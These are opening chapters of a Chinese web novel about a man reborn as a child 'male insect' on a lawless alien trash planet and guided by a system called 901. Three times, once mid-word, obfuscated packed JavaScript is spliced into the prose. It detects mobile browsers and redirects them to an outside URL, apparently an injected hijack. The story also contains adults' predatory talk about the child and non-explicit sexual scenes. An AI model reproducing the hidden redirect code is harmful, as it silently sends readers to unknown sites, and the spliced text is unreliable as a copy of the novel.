《我靠写文在虫族成了救世主》 1. 第 1 章 [……呲呲呲——] [正在绑定,进度85%……] [绑定成功。] 模糊的机械音响起,意识回笼,钟鱼只感觉头痛欲裂,他想要捂住脑袋缓解,却只是抬了抬手。 [亲爱的宿主,您好,我的编号是901,原主记忆缺失,无法获取,更新中——] “什么?”钟鱼皱了皱眉头,环顾四周,却并未看到这个901。 钟鱼费力地用手肘支撑着靠坐在后面的墙上,虚弱地问道:“你是谁?这是哪里?” 他明明记得自己爬完山回到酒店倒头就睡了,那酒店豪华得很,怎么会是眼前这般破败景象? 他不会记错的,他还记得线上付款的时候看着金额的肉痛感,之后他还合衣躺在浴缸里拍了不少自拍。 难道这是家黑店?他被绑架了? 他现在这副样子倒确实像中了药,这间破屋子也不像个正经住所。 突然,门外传来些许谈话声,钟鱼却只感觉眼皮越来越沉。 “那只小雄虫怎么样了?” “打了几针,吃了两管营养剂。” “还在哭吗?” “之前一直在低声哭,这会儿倒是没有听见哭声了,想是哭累了睡下了。” 接着便是一片笑声,其间还夹杂着两句“雄虫就是麻烦”,“没想到这鸟不拉屎的垃圾星居然还有雄虫”,“就是年纪太小了,还得养几年”。 在这些杂乱的谈话声中,钟鱼昏了过去。 * 一群雌虫围着病床上的小雄虫,尼斯克伸手戳了戳小雄虫软乎乎的脸,感叹道:“没想到这雄虫崽子洗干净了这么好看。” 小雄虫静静的躺在那儿,眉头轻轻蹙起。浓密的睫毛遮住眼眸,过长的棕色头发发梢微微翘起,覆在他的眉毛上。 “测了他的等级没有?” “测了测了,结果还没出来,”尼斯克捏了捏雄虫的脸蛋轻蔑一笑,道:“长得这么漂亮,就是只有D级又如何?也够玩好几年了。” 其余雌虫哈哈大笑,纷纷附和道:“等他成年了,你可不要把他藏起来不给我们玩了。” 尼斯克嘴角微勾,“怎么会?” 钟鱼动了动眼睛,醒了过来。 “小雄虫醒了!” 周遭安静下来,钟鱼一睁开眼睛就见四周围了一群又高又壮的青年,有几个脸上还有狰狞的疤痕。 钟鱼深深地吸气,不动声色地呼了出来。 见他们一眼不眨地盯着自己看,仿佛他是餐桌上的大餐。 钟鱼被自己这个想法吓了一跳,他偏头看向床沿的男子。 他身量颀长,肤色白皙,还有一头浅粉色的头发。 最主要的是他没有那么夸张的肌肉,脸上挂着些微的笑容,看起来很好说话。 尼斯克见钟鱼看向自己,他倾身向前,笑着说道:“我叫尼斯克,小雄虫,你叫什么名字?” 看着他们深邃的五官,各色的瞳色和头发,他的心沉了下去。 这群人……看着有些像欧美人,又不那么像。 正疑惑间,钟鱼瞥到站在门口那个肌肉男的左眼居然不是人的眼睛! 钟鱼吓得往后坐了坐,靠在床头,透过紧挨着脊背的皮革,钟鱼听到了自己的心跳声。 这只眼睛靠近门扉,起初他没能注意到。 它不像机械,浑然天成地镶嵌在他的脸上,倒有些像是昆虫的复眼。 钟鱼看着他那只黑漆漆的眼睛直勾勾地盯着自己,他能从其中看到狂热之色。 他冷静下来,心想:我决不能暴露。 钟鱼抱着被子,对尼斯克说道:“你好,尼斯克,我叫布莱斯。” 说完这句话,钟鱼就小心翼翼地打量这群人,这才发现除了尼斯克,其余的都或多或少有些异常。 有的头上顶着两根很长的触须,听到他说话时原本垂在脑后的触须倏地立了起来。 让钟鱼想起了蟑螂,他实在是不喜欢蟑螂,所以,钟鱼又强迫自己想起了另一种带须的生物——天牛。 有的半边嘴里长满了黑色的东西,表层覆盖着浅绿色的汁水,他的嘴巴无法完全闭合,汁水从裸.露的牙龈低落在地上,发出“呲呲”的响声,凹凸不平的水泥地被腐蚀出一个焦黑的浅坑。 有的大开的衣领下是黑得发亮的甲壳,钟鱼甚至能从上面看到一张稚嫩的脸。 钟鱼摸了摸脸,甲壳上的人影也动了动。 我怎么变成这个样子了…… 钟鱼再次看向这里面唯一像个人类的尼斯克,问道:“您好,请问这是哪儿?” 尼斯克看着眼前的小雄虫面色平静,墨绿色的眼眸中却满是惊惶,他兴味道:“布莱斯,这儿是B612。” B612?小王子的那个星球? 不不不,这不可能。 “不过我们不这么称呼它,我们称它为垃圾星,”尼斯克浅棕色的眼睛一眼不眨地盯着钟鱼,“小布莱斯,你怎么会在垃圾星?是哪个胆大妄为的家伙竟敢让尊贵的雄虫流落至垃圾星?” 雄虫? 这是什么? 虫…… 是他看到的那样吗? 钟鱼只是摇了摇头,低声说道:“我是雄虫吗?……我不记得了。” [更新完成。] ——是之前那道声音。 钟鱼警惕地环顾四周。 “小布莱斯,你怎么了?”尼斯克温柔地问道。 “尼斯克,我看布莱斯是累了,让他好好休息吧。” “在星盗那里不知遭了多少罪,我看他是被吓着了。” 他们听不到吗? 难道这声音只有自己能听到? [是的,宿主,其他人听不到我的声音,只有宿主能听到。] 钟鱼眼睛一动,他确信自己刚刚没有开口说话。 [901已与宿主绑定,宿主可直接用意识与我交流。] 尼斯克看着钟鱼魂不守舍的样子,点了点头,“那就让小雄虫先休息吧,你们俩好生看着。” “是。” 说完尼斯克就领着其他人走出了房间。 我怎么会在这里?这是哪里? [很抱歉,宿主,901权限不够,无法得知宿主为何会来到这里。] [这里是虫族。] “我不是在酒店睡觉吗?怎么会在这里?我睡得好好的怎么会在这里?!我要回去。” [很抱歉,宿主的肉.体已经死亡,无法回去,901没有位面穿梭的权限。] [根据报告显示,主系统检测到宿主求生意识薄弱,希望重生,故宿主现世肉.体死亡,主系统安排901与宿主绑定。] “求生意识薄弱?荒谬!我活得好好的,根本就不想死,是你们弄错了!” [很抱歉,主系统检测不会失误,宿主已与主系统达成交易,无法撤销。] “我没有与它达成什么交易,我都不知道它是什么东西,你们这是灵魂拐卖!” [很抱歉,超越权限范围。很抱歉,超越权限范围……] 钟鱼躺在床上,过了良久,道:“这是你们的失误,造成我的死亡,我要投诉。” [经核实,宿主有权限投诉,请宿主说明投诉内容。] “因主系统工作失误,造成无关人员死亡,我的诉求是回去,并对我进行精神补偿。” [已提交。温馨提示:宿主肉身已腐烂,我们没有重造肉身的权限。] 钟鱼心如死灰,他叹了口气,“先等结果吧,我总要试一试。” 钟鱼睁开眼睛,看了眼门口守着的两个高壮男子。 又问道:“901,你说这里是虫族,那虫族是什么?我怎么从来没有听说过?” 钟鱼平时的娱乐方式就是爬山, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509699|202947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连影视剧都很少看。 虫他能理解,可虫族又是什么呢? [宿主,经901搜索,此方虫族世界共三种性别,分别为雌虫、雄虫和亚雌。其中雌虫和亚雌负责生育,但亚雌生育能力远远不如雌虫。因亚雌与雄性体型相差不大,身体机能远远不如雌性,故而在虫族社会并没有多少权利。] “这样说的话,刚刚那群人除了尼斯克都是雌虫?” [经查验,尼斯克为雌虫。] “既然都是雌虫,怎么他体型没有这么壮硕?” [宿主,并非所有雌虫都是壮硕的体型,雌虫体型是由他们的种族决定的,尼斯克为螳螂族,所以相比其他雌雄要纤瘦一些,不过即便是最为纤瘦的螳螂族相比亚雌和雄虫还是会壮硕很多。] 螳螂族…… 钟鱼丧气道:“那我这具身体是什么种族的?这具身体的主人去哪儿了?” [雄虫无法虫化,因而不分种族。经检测,这具身体的主人因为被臭名昭著的星盗抓获折磨,在宿主来到这具身体一小时前就已经死亡。] “折磨?星盗为什么会折磨他?” [这些星盗之所以臭名昭著,不只是因为他们烧杀抢掠无恶不作,更是因为他们喜欢抢夺囚禁雄虫。原身因未成年无法分泌信息素,又惹怒了星盗首领,故而遭受肉.体折磨之后死亡。] 钟鱼眉头一蹙,意识到不对劲。 他又抬眼看了眼一左一右守在门口的两只雌虫,左边的那个额头上有两根触须,这两根触须此时耷拉在脑后,与他亚麻色的头发挨在一起。右边的那个左手像是一把黑漆漆的镰刀,上面长满了细碎的锯齿。 信息素? 这两只雌虫总是偷偷地打量他,钟鱼感到不适。 [这个虫族世界雄虫极其稀少,偏远星系的雌性几乎终生都见不到雄虫,所以雄虫格外的珍贵。] “见不到?那他们如何繁衍?” [雌性成年后可以凭身份信息去养育机构领取科技精.子受孕,直至成功生下虫蛋,每只雌性都能有生下一枚虫蛋的机会。] 听到这个,钟鱼诧异地看了眼这两只雌虫,很难想象,这两个肌肉壮汉会生蛋。 “既然能领这个科技精.子,那还要雄虫干什么?” [科技精.子受孕的虫蛋只会是雌虫和亚雌,不会是雄虫。] “那这样的话,雌虫和亚雌岂不是越来越多,而雄虫数量不变……” [雄虫也会变老、死去,虽然每年都有一定数量自然孕育的雄虫蛋降生,但不足雌虫蛋的百分之一,甚至不足亚雌蛋的百分之十。] “这是在恶性循环,难怪这里反倒是雄性尊贵了。” 钟鱼苦中作乐,笑道:“那我岂不是在这里当皇帝了?要风得风要雨得雨,直接混吃等死得了。” 901难得沉默片刻。 [如果宿主能接受,这样说也没错。] “什么意思?”钟鱼沉思片刻,呢喃道:“难不成是圈养?” [雄虫出生后会被送往中央星的养育机构孵化,在养育机构养至成年,成年后会根据等级高低被雌虫领养,大多数情况是大家族的家主。为了平衡,中下等级的雄虫有些会散落在其他星系。但高级雄虫几百年来都是被中央星的家族所垄断。] 钟鱼静静地听着,他想起尼斯克玩味的笑容,想起那些半虫化雌虫垂涎的眼神。 [宿主,据901搜索分析,这个虫族社会是一个以交.配为荣、繁衍为使命的庞大繁杂种族,他们嗜血、残忍、冷血,只知道战争与交.配,与宿主原来社会并无多少相似之处,根据宿主的精神阈值检测,901不建议宿主过于融入这个种族。] 钟鱼再次抬眼,正好与右边的那只雌虫对上视线,原来他就是方才那只左眼虫化的雌虫。 他的那只复眼像无死角摄像头那样转了转,让钟鱼汗毛直立,他仿佛无所遁形。 2. 第 2 章 “901,投诉结果出来没有?” 在这间破屋子躺了两天,钟鱼百无聊赖,又开始问它。 [监察系统查验中,预计七个工作日内会回复。] 又是这个回答。 钟鱼叹了口气,又无可奈何。 [宿主放心,监察系统一回复,901会第一时间告知宿主。] 他如今身体恢复了,便开始为日后作打算。 门口守着的那两只雌虫,看起来那只有触须的好讲话一些。 在另一只上厕所的功夫,钟鱼将他叫到了床边。 雌虫一听到钟鱼的声音,那一对触须“咻”地竖了起来,左右摇晃,打在一旁的墙面上,发出“啪啪”的响声。 这两天看习惯了,钟鱼这次倒没被吓着。 他从床上坐了起来,问道:“我叫布莱斯,你叫什么名字?” 雌虫像座小山一样站在床边,触须顶着天花板上老旧的电灯,在地上延伸出又黑又长的影子。 他两手交握,看起来有些拘束。 雌虫两片厚厚的嘴唇嗫嚅了一下,脸颊黑里泛红,“阁下,我叫怀特。” 才说了这几个字,怀特额上就连着滴了两行汗水,他伸手去擦,却打到了舞动的触须。 似乎有些尴尬,他有些恼火地拍了拍头顶的触须。 钟鱼见他这么紧张,反倒没什么恐惧感了。 他问道:“怀特,这两天怎么没见着尼斯克?他去哪儿了?” 怀特直愣愣地看着钟鱼,老实地说道:“他们去西街打架去了,要过几天才会回来。” 怀特的瞳色让钟鱼感到亲切,在他的黑色瞳孔中,钟鱼看到了自己的模样。 绿色的眼睛,棕色头发,雪白的皮肤。 钟鱼不自在地偏过头去。 他不是这样的,不该是这样的。 “打架?为什么打架?” 怀特摩挲着手指说道:“那儿是我们的地盘儿,被他们给占了,所以要抢回来。” 钟鱼下了床,还没走到门口就被怀特拦了下来。 “阁下,你不能走。” 钟鱼低头看着他肌肉虬扎的手臂,“我只是想出去透透气,这也不可以吗?” 怀特看着小雄虫柔顺的发顶,他只觉得浑身滚烫,“我跟阁下一起去。” “不然阁下出了什么事情,赫尔斯会怪我们的。” 目的达成,钟鱼也不计较那么多了。 他现在这副身体,明显还是个十岁不到的小孩儿。他得先熟悉熟悉这里,也好为日后作打算。 出了这破屋子,院子里倒很是宽敞。 钟鱼一抬眼便看到隔壁三楼有几具交缠在一起的躯体,有黑有黄有白,看得叫人眼花缭乱。 他连忙扭头看向另一边。 那边也不遑多让,只一眼,钟鱼就瞧见了赤.裸的交.媾场面,他们三五成群,喘息声此起彼伏,恍若处于无人之境。 跟在身后的怀特见他停了下来,纳闷道:“布莱斯阁下,你怎么了?是累了吗?要不要坐下来休息一下?” 显然,这样的场景在垃圾星随处可见。 钟鱼只觉得一阵反胃,他这辈子都没见过这么多裸.体。 他结巴着询问怀特,“他们……是和雄虫吗?” 不是说垃圾星的雌性很难见到雄虫吗? 怀特抬头瞥了一眼,憨笑道:“除了阁下,垃圾星哪还有其他什么雄虫,就是有,待不了几天就被抢走了。” “那些是雌虫和亚雌。” 什么…… 901不是说亚雌和雌虫都是负责生育的吗?怎么…… 怀特不以为然道:“这些亚雌都是吃了药当雄虫用的,这种药伤身体,吃多了短命。所以垃圾星的亚雌都活不长。” “没办法,雄虫太少了,市面上的雄虫信息素也没什么用,没有信息素安抚,雌虫早晚会狂暴死亡,所以垃圾星不管是雌虫还是亚雌都只想爽爽。” 钟鱼想起901的话。 “他们嗜血、残忍、冷血,只知道战争与交.配。” “这个虫族社会是一个以交.配为荣、繁衍为使命的庞大繁杂种族。” 他不由得庆幸,幸好他现在还小,还不用面对这些。 他暗下决心,他一定要离开垃圾星。 看着这些人或多或少都有些部位处于虫化状态,钟鱼有了些猜测,不过他还是问:“怀特,怎么尼斯克跟你们长得不一样呢?” 怀特头上的触须终于舞累了,耷拉着,紧贴在他的头皮上。 “尼斯克是S级雌虫,跟我们不一样,”怀特叹了口气,“我们生下来就注定是下等虫,即便是生在中央星也会被送往垃圾星,我们是半虫化雌虫,就像我无法收回这对触须,我们也无法控制虫化,说不准什么时候就会陷入狂暴而完全虫化。一旦完全虫化便会丧失神智,之后的结果就是死亡。” “如果运气好,垃圾星的雌性生下了高等级的虫蛋,养育机构也会把他带走送往其他星球的,即便是最末等的荒星,资源都比B612星系丰富。” 钟鱼皱眉道:“那你们为什么不离开垃圾星呢?你也说了,就是去荒星也比这儿好。” 怀特沮丧地说道:“离开垃圾星必须要通行证才能离开,我们拿不到这玩意儿,不过听赫尔斯说,尼斯克能弄到,所以我们跟着尼斯克做事。” 见钟鱼神色怅然,怀特定定地看着他,安抚道:“布莱斯阁下不用忧心,尼斯克离开垃圾星的时候,一定会带你走的。” “没有雄虫能在垃圾星一直待下去,要是尼斯克不带你走,星盗也会将你抢走的,没有尼斯克,我们就打不赢那群星盗。” “阁下在星盗那儿受了这么多苦,肯定不想再被抓走了,所以阁下还不如祈求基因等级高一些,至少得是个C级,那样的话,尼斯克一定会带阁下离开垃圾星的。” “基因等级?”这是什么东西? 怀特点了点头,“结果应该出来了,不过尼斯克太忙了,还没来得及看呢。” 刚说完,另一只雌虫就大步跑了过来。 一停下,他扬手就给怀特脑袋拍了一下,“谁让你带小雄虫出来的,万一跑了怎么办?!” 怀特的触须微微颤抖。 他垂着眼睛站在一旁,像个木桩一样。 钟鱼连忙挡在怀特身前,“你怎么能打他呢?!是我让他带我出来的!” 索尼克没有搭理钟鱼,只是沉着脸对怀特说道:“你忘记上次的教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509700|202947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 训了吗?要是再因为你的失误,你觉得赫尔斯还会留你吗?!” 怀特害怕地抖了抖,他走到索尼克身边,低声说道:“尼克,都是我的错,你不要告诉赫尔斯。” 索尼克冷哼一声,单手拎着钟鱼的后领就往屋子里走。 钟鱼挣扎了两下,却于事无补,他看不到怀特,只能听到他低低的声音。 “尼克,你上次做任务的时候,去找亚雌玩我都没有告诉赫尔斯。” “还有,尼克,你上次——” “怀特,你闭嘴!” 之后就只有二人的脚步声了,索尼克将他往床上一扔,就回到了门口守着。 虽然钟鱼又回到了破屋子里,可怀特还是有些害怕,他凑到索尼克身边摸了摸他的肚子,说道:“尼克,你肚子里的虫蛋怎么样了?” 听到这话,钟鱼差点被口水呛到。 他有些纳闷,自己的耳朵怎么这么好使了,这种悄悄话也能听到。 索尼克显然跟怀特是老搭档了,他拍开怀特的手说道:“还有两个月就要生了,也不知道等级是多少。” “尼克,你要生蛋了就不要去找亚雌玩了,万一这次蛋又破了可就遭罪了。” 索尼克瞪了他一眼,那只虫化的左眼转了转,“还用你说,要是你再做错事儿,你和你的科尼尔就等死吧!” 听了这话,怀特也有些生气,偏过头去不再跟索尼克说话。 这破屋子里什么也没有,钟鱼就连上厕所,怀特都会在门口守着,吃的东西又全是一个口味的营养剂。 当然,怀特每天都吃压缩饼干,连营养剂都没得吃。 天可怜见,钟鱼可不觉得手中的营养剂会比怀特口中三十年保质期的压缩饼干好吃到哪里去。 这玩意儿比蔬菜汁还难喝,吞下去,唇齿凉飕飕的。 怀特说是薄荷味的,这在垃圾星贵得很,听说中央星的雄虫喜欢薄荷味的,所以尼斯克一次性给钟鱼买了五十多支。 又喝了两天的营养剂,钟鱼脸都绿了,终于又见到了尼斯克。 自从知道尼斯克能弄到通行证之后,钟鱼就一直想跟他打好关系。 所以尼斯克拿着一张单子进来的时候,钟鱼立马下床跑过去抱住他,惊喜地说道:“尼斯克,我终于又见到你了!这些天你都去哪儿了?” 尼斯克左手揽住钟鱼细瘦的肩膀,右手捏着检测单一把将钟鱼抱了起来。 他粉色的头发在灯光下折射出炫目的光,钟鱼感受着脸颊的瘙痒,是尼斯克柔软的发丝。 “小雄虫,你的基因等级检测结果出来了,a级,居然是a级!” 尼斯克抱着钟鱼转了个圈,他嘴边挂着笑容,亲昵地亲了亲钟鱼的脸颊。 “布莱斯,你简直就是我的福星,带上你我就能回到赫利俄斯了!” 钟鱼愣住了,怀特说即便是c级,尼斯克都会带他走,可他足足高了两个等级。 也不知是福还是祸。 倚在门口的赫尔斯看着被尼斯克抱在怀中的钟鱼,脸上挂着轻微的笑容,不知在想些什么。 赫利俄斯是哪里? [赫利俄斯星系,是虫族的政治权利中心,他们一般称之为中央星系,也就是怀特口中的中央星。] 3. 第 3 章 自打知道自己的基因等级之后,钟鱼每天都在思考怎么离开垃圾星。 从怀特口中得知,雄虫等级最高为s级,整个帝国包括联邦在内的s级雄虫不足十位,雄虫等级大多数都是c级,只有少数会是a、b高等级和d、e甚至f级这样的低等级。 这对他不算是好事,即便他跟着尼斯克去了中央星又能如何呢? 他是会成为尼斯克家族里面的雄虫吗?还是会被其他家族买走呢? 不过这些不是他现在该想的问题,现在的首要问题是怎么获得通行证,以及获得了之后如何离开。 如果是雄虫的身份,又是这么高的等级,他们绝对不会轻易放他离开的。 那天过后,尼斯克就给他换了个房间,新的房间摆放了不少花,虽然全是假的,可看着漂亮得很,浓郁的香气足以俘获人心。 钟鱼在这里住了两天就感觉自己被腌入味了,一抬手就能闻到这种一成不变的香味。 尼斯克每天都很忙,又不让钟鱼出门,说他是雄虫,去外面太危险了。 好在他现在只让怀特守着他了,也能去院子里走走,比开始的时候自由了许多。 怀特得知钟鱼是a级之后,对他更是毕恭毕敬。 用他自己的话说就是“我活那么久还是第一次见到a级雄子”。 没几天,尼斯克就给钟鱼带了一台光脑过来给他解闷,看着光脑边角的破损,钟鱼隐隐闻到一丝血腥味,他猜测这是尼斯克从其他虫族那儿抢来的。 怀特说,在垃圾星最有用的就是拳头,星币反而不值钱。 毕竟就是垃圾星的首富也买不到一张去往中央星的通行证。 尼斯克是犯了事被送到垃圾星来的,他是中央星的雌虫,怀特说他虽然不知道尼斯克姓什么,不过总归不会是什么小家族出身。 “如果只是中央星的普通雌虫,早就被关到监狱里面去了,才不会被送到垃圾星来呢!” 钟鱼不太喜欢玩光脑,这上面全是战场直播和交.配直播,文字少的可怜,他们习惯用说话代替文字。 钟鱼刚拿到光脑的时候,正庆幸虫族的文字居然跟汉字很像,虽然有些字词会有细微的差异,但并不影响阅读。 过了一分钟钟鱼才知道自己庆幸早了。 一打开主界面全是各种各样的视频和直播间,没有任何文字说明,拆盲盒一样点开就是辣眼暴击,不是暴力血腥就是无.码色.情,陆续被创了几次之后,钟鱼生无可恋地点开了论坛界面。 谢天谢地,终于出现了零星的文字,虽然其间夹杂着大量视频讲解。 看来901还少说了一点,那就是这个虫族社会是一个文字匮乏的社会。 这也意味着低敏感度,他们不会太注重精神层面的东西。 是以,钟鱼看了半个星时之后就将光脑扔在了一边。 怀特诧异道:“布莱斯,你怎么不玩了?我家科尼尔很喜欢玩光脑。” 在听怀特叫过几次阁下之后,钟鱼就让他改口叫他的名字了。 “科尼尔是谁?”他前几天听索尼克提起过。 怀特又露出那副笑容来,他笑起来很可爱,看着憨厚老实,“科尼尔是我的孩子,他是雌虫,跟我等级一样,所以只能待在垃圾星。” 光脑上的东西不止黄暴,讲述的也多是其他星系的事情,离他太远了,所以钟鱼只是大概了解了一下。 “这样他就能跟你待在一起了,怀特。” 怀特扣了扣手指,“我还是想他等级高一些,至少不是半虫化,这样也可以活得久一些。” 钟鱼走上前拍了拍怀特宽厚的背,“不是还是二次分化吗?你不是说二次分化等级可能会变化吗?” 怀特说二次分化等级可能提升,也可能下降,钟鱼倒想着他二次分化时等级能不能降到b级,一个折中的等级。 他方才看到的很多交.配直播ip是中央星的,因而,里面虽然有不少是亚雌和雌虫,但也有少数是雄虫和雌性。 想起里面的数量和雄虫的神情,钟鱼打了一个寒颤。 他不是虫族,他是人类,如果他的未来是这样,他一定会变成疯子的。 “希望如此吧,”怀特嘟囔道:“也不知道尼克的虫蛋会是雌虫还是亚雌。” 钟鱼还没回过神来,便随口回了一句,“雌虫会好一些吧,活得久一些。” “当然是亚雌好一些了,是亚雌的话尼克就不用去找其他亚雌玩了。” “什么?!”这炸裂的话将钟鱼的神智拉了回来。 怀特以为钟鱼没有听清,又复述了一遍。 看着怀特和平时一模一样的表情,钟鱼只感觉起了一身的鸡皮疙瘩。 [检测到宿主情绪异常……检测到宿主情绪异常……] 过了片刻,901的声音再次响起。 [经过901查验,这个情况在虫族社会很常见,虫族社会没有人类社会的伦理纲常,他们的第一准则是繁衍,其次是发动战争,扩张领土。据数据显示,平均每年都会有3个大型星球被虫族占领作为新的居住星球,6个中型星球作为能源星球,20个能源匮乏的小型星球作为监狱用来关押罪犯。] [虫族的雄虫没有家族,统一在养育机构长大,成年后分散各地,因而这个虫族社会雌性亲缘关系紧密,而雄虫所有的异性亲属都可能成为交.配对象,所以雄虫亲缘关系松散,未成年雄虫生存依赖帝国和联邦的补贴,成年后的雄虫依赖大家族生存。] “如果成年了,但没被雌虫家族收养呢?” [这样的雄虫一般为低等级雄虫,他们大多从事精神力安抚的工作获取高额星币。] “雄虫这么少,帝国没有补贴吗?” [不管什么等级,帝国和联邦都会根据基因等级,按比例每月发放星币给已成年未缔结婚姻的雄虫,但雄虫开销过大又没有社会能力,所以会通过其他方式获取额外星币。] [更重要的是,未缔结婚姻的成年雄虫有一项“精神力疗愈”的义务,这项义务每次只能获得少量星币,如果不想履行这项义务,雄虫只能选择精神力安抚,这个消耗的精神力会少很多,获得的星币也很可观。] 钟鱼偏过头去,不在看怀特,他甚至不再想跟任何一个虫族交流。 “901,有答复了没有?” [宿主,有回复了,我正好要告诉宿主呢!只是收到情绪异常的警报,所以没来得及说,哈哈!] “……” 虫族不是人类,你就是了吗? 听着901生硬的机械音,钟鱼在脑中吐槽。 [呃呃!] “。” [宿主,监察系统回复:经我处检测核实,确因主系统工作失误,造成编号Z5024肉.体死亡,我处已依规对主系统进行相应处罚。我处尽力挽救,可因时间太久,编号Z5024肉身腐烂,已社会死亡,无法再回归原本世界。] [对于编号Z5024的第二个诉求,非常抱歉,我处暂无权限在编号Z5024的世界重塑肉身。作为补偿,我处已撤销主系统与Z5024的交易,Z5 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509701|202947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 024无需完成任何系统任务,编号901基层任务系统开放部分权限以保护编号Z5024。注:我处已尽全力处理,请务重复提交投诉申请,谢谢配合!] 901将速度放得很慢,确保钟鱼能听清每一个字。 钟鱼冷笑一声,“主系统的错误,让我来承担?” [检测到宿主情绪异常……检测到宿主情绪异常……] 又触发了自动警报。 钟鱼深深地吸气,直到胸膛感到闷痛,才重重地呼了出来。 [宿主,经过901核实,主系统部门确实已获得相应处罚,主系统已经承担了工作失误带来的后果。] “所以呢?”钟鱼面无表情,“我回不去了,主系统把我送到这样一个莫名其妙的地方,然后我回不去了!我莫名其妙的就死了!” “你们是不是觉得我父母双亡,又没有什么兄弟姐妹,死了也没人在乎,所以就选中了我?” 钟鱼想起了小时候跟爸妈相处的点点滴滴,那是他最珍藏的回忆。 他又想起了那场车祸,他成了唯一的幸存者,辗转多家亲戚得以活至成年。 好不容易考上了理想中的大学,暑假跨省去爬了一趟山,他收藏了很久的一座名山,忍痛奢侈一把住了一家那么贵的酒店。 拍了那么多照片,心中有那么多的期许和抱负,朋友圈的文案他都已经粘贴好了。 可他竟然就这么稀里糊涂的死了,死在了异乡酒店的浴缸里,手机上还显示着没来得及发出去的朋友圈。 ——从此,世界在我面前,指向我想去的任何地方,我完全而绝对地,主持着我。 回想起他复制的那个文案,越发凸显他眼下的凄惨,钟鱼哂笑:“你们把我的人生给毁了,我所有的努力都白费了。” [检测到宿主情绪异常……检测到宿主情绪异常……] “完了,我现在活着跟死了有什么区别。” [检测到宿主情绪异常……检测到宿主情绪异常……] “说是活着,可这里是个什么鬼地方,他们连人都不是,我又如何能融入进去。” [检测到宿主情绪异常……检测到宿主情绪异常……] “说是死了,可我连魂都不在地球,难怪我见不到爸爸,也见不到妈妈。” [检测到宿主情绪异常……检测到宿主情绪异常……] [宿主,宿主!你现在精神状态很差,宿主,你需要冷静!] 过了良久,钟鱼躺回了床上,缩在被子里面。 “布莱斯,布莱斯,你怎么了?” 钟鱼已经听不到怀特的声音了,他只感觉眼前一道道重影,他恍然看见怀特变成了一只巨大的蟑螂,张开血盆大口将他吞吃入腹。 他被脑中的警报声扰得不行。 钟鱼用力地锤着脑袋,控制不住地吼了出来:“你从我的脑子里滚出去!” “布莱斯……布莱斯……” “尼克,你来得正好,布莱斯好像是中邪了,可能是又想起被那伙星盗囚禁时候的事儿了,真是一帮可恶的家伙!” “尼斯克回来了吗?你还是去跟尼斯克说一下吧,雄虫那么娇弱,可不能像科尼尔那样不管。” 钟鱼只觉得头疼欲裂,仿佛有什么东西在敲他的后脑勺,他有气无力告诉脑子里的那个东西,“901,你先让它安静下来,我需要一个人静静。” “你放心,我不会寻死的,也不会精神崩溃。” “901,谢谢你的关心,我会努力在这里活下去的。” 4. 第 4 章 这次之后钟鱼恢复了往日的平静,他接受了怀特的说法。 ——犯病了。 钟鱼连续几日都没有跟任何生物说话,包括901。 尼斯克怀疑他是提前分化了,虽然雄虫并没有第一次分化这个说法,不过他还是重新测了一下钟鱼的基因等级,看到没有降低之后松了一口气。 之后又给钟鱼买了好几种不同口味的营养剂,和很多的花。 当然全是科技假花,垃圾星种不了花,也没有其他的食物。 就连这些假花都是尼斯克花高价钱从别的星球买了运过来的。 看着钟鱼还是怏怏不乐,尼斯克担心他闷出病来,就同意他出门了。 只是需要伪装成亚雌。 钟鱼现在还没有成年,没有信息素,伪装起来很容易,只是在脑袋上戴了两根假触须。 换作之前,钟鱼肯定会很排斥这对触须,因为这总让他想起蟑螂。 不过看着床上其他伪装饰品,还是这对触须看起来没那么骇人。 能出门了,钟鱼心情也好一些了,他又让901申请,看他能不能离开这儿,去其他世界。 他想不管是什么世界,只要有人类就行了。 又要等7个工作日,好在钟鱼一向很有耐心。 怀特看着钟鱼头上的触须,双眼发光,emmm……物理意义上的发光。 他这次将他的雌虫崽子带了过来,尼斯克说他们年龄相仿,可以一起玩玩。 门一打开,钟鱼看着眼前这个比怀特个头还大的雌虫,他又沉默了。 谁能相信,这个肌肉虬扎,站起来脑袋顶着天花板的家伙今年才7岁。 这都不是同龄了,钟鱼这副身体据尼斯克检测都有14岁了,只是因为长期营养不良,看起来只有十来岁的样子。 钟鱼仰头看了眼站在桌边的怀特,又仰头看了眼站在门口手足无措的科尼尔,他只觉得脖子酸痛。 似乎是他的表情太过明显,怀特不自在地挠了挠头,解释道:“我之前领取的科技精.子有胡峰族基因,所以科尼尔长得要高大一些。” “以后还会长吗?”许久没有开口,钟鱼的声音有些沙哑。 “还会长,一般能长到两米。” 钟鱼这才知道胡峰族是虫族体格最壮的种族,而蝗族是虫族平均最高的种族,一般情况能长到两米以上,有少数甚至能长至三米。 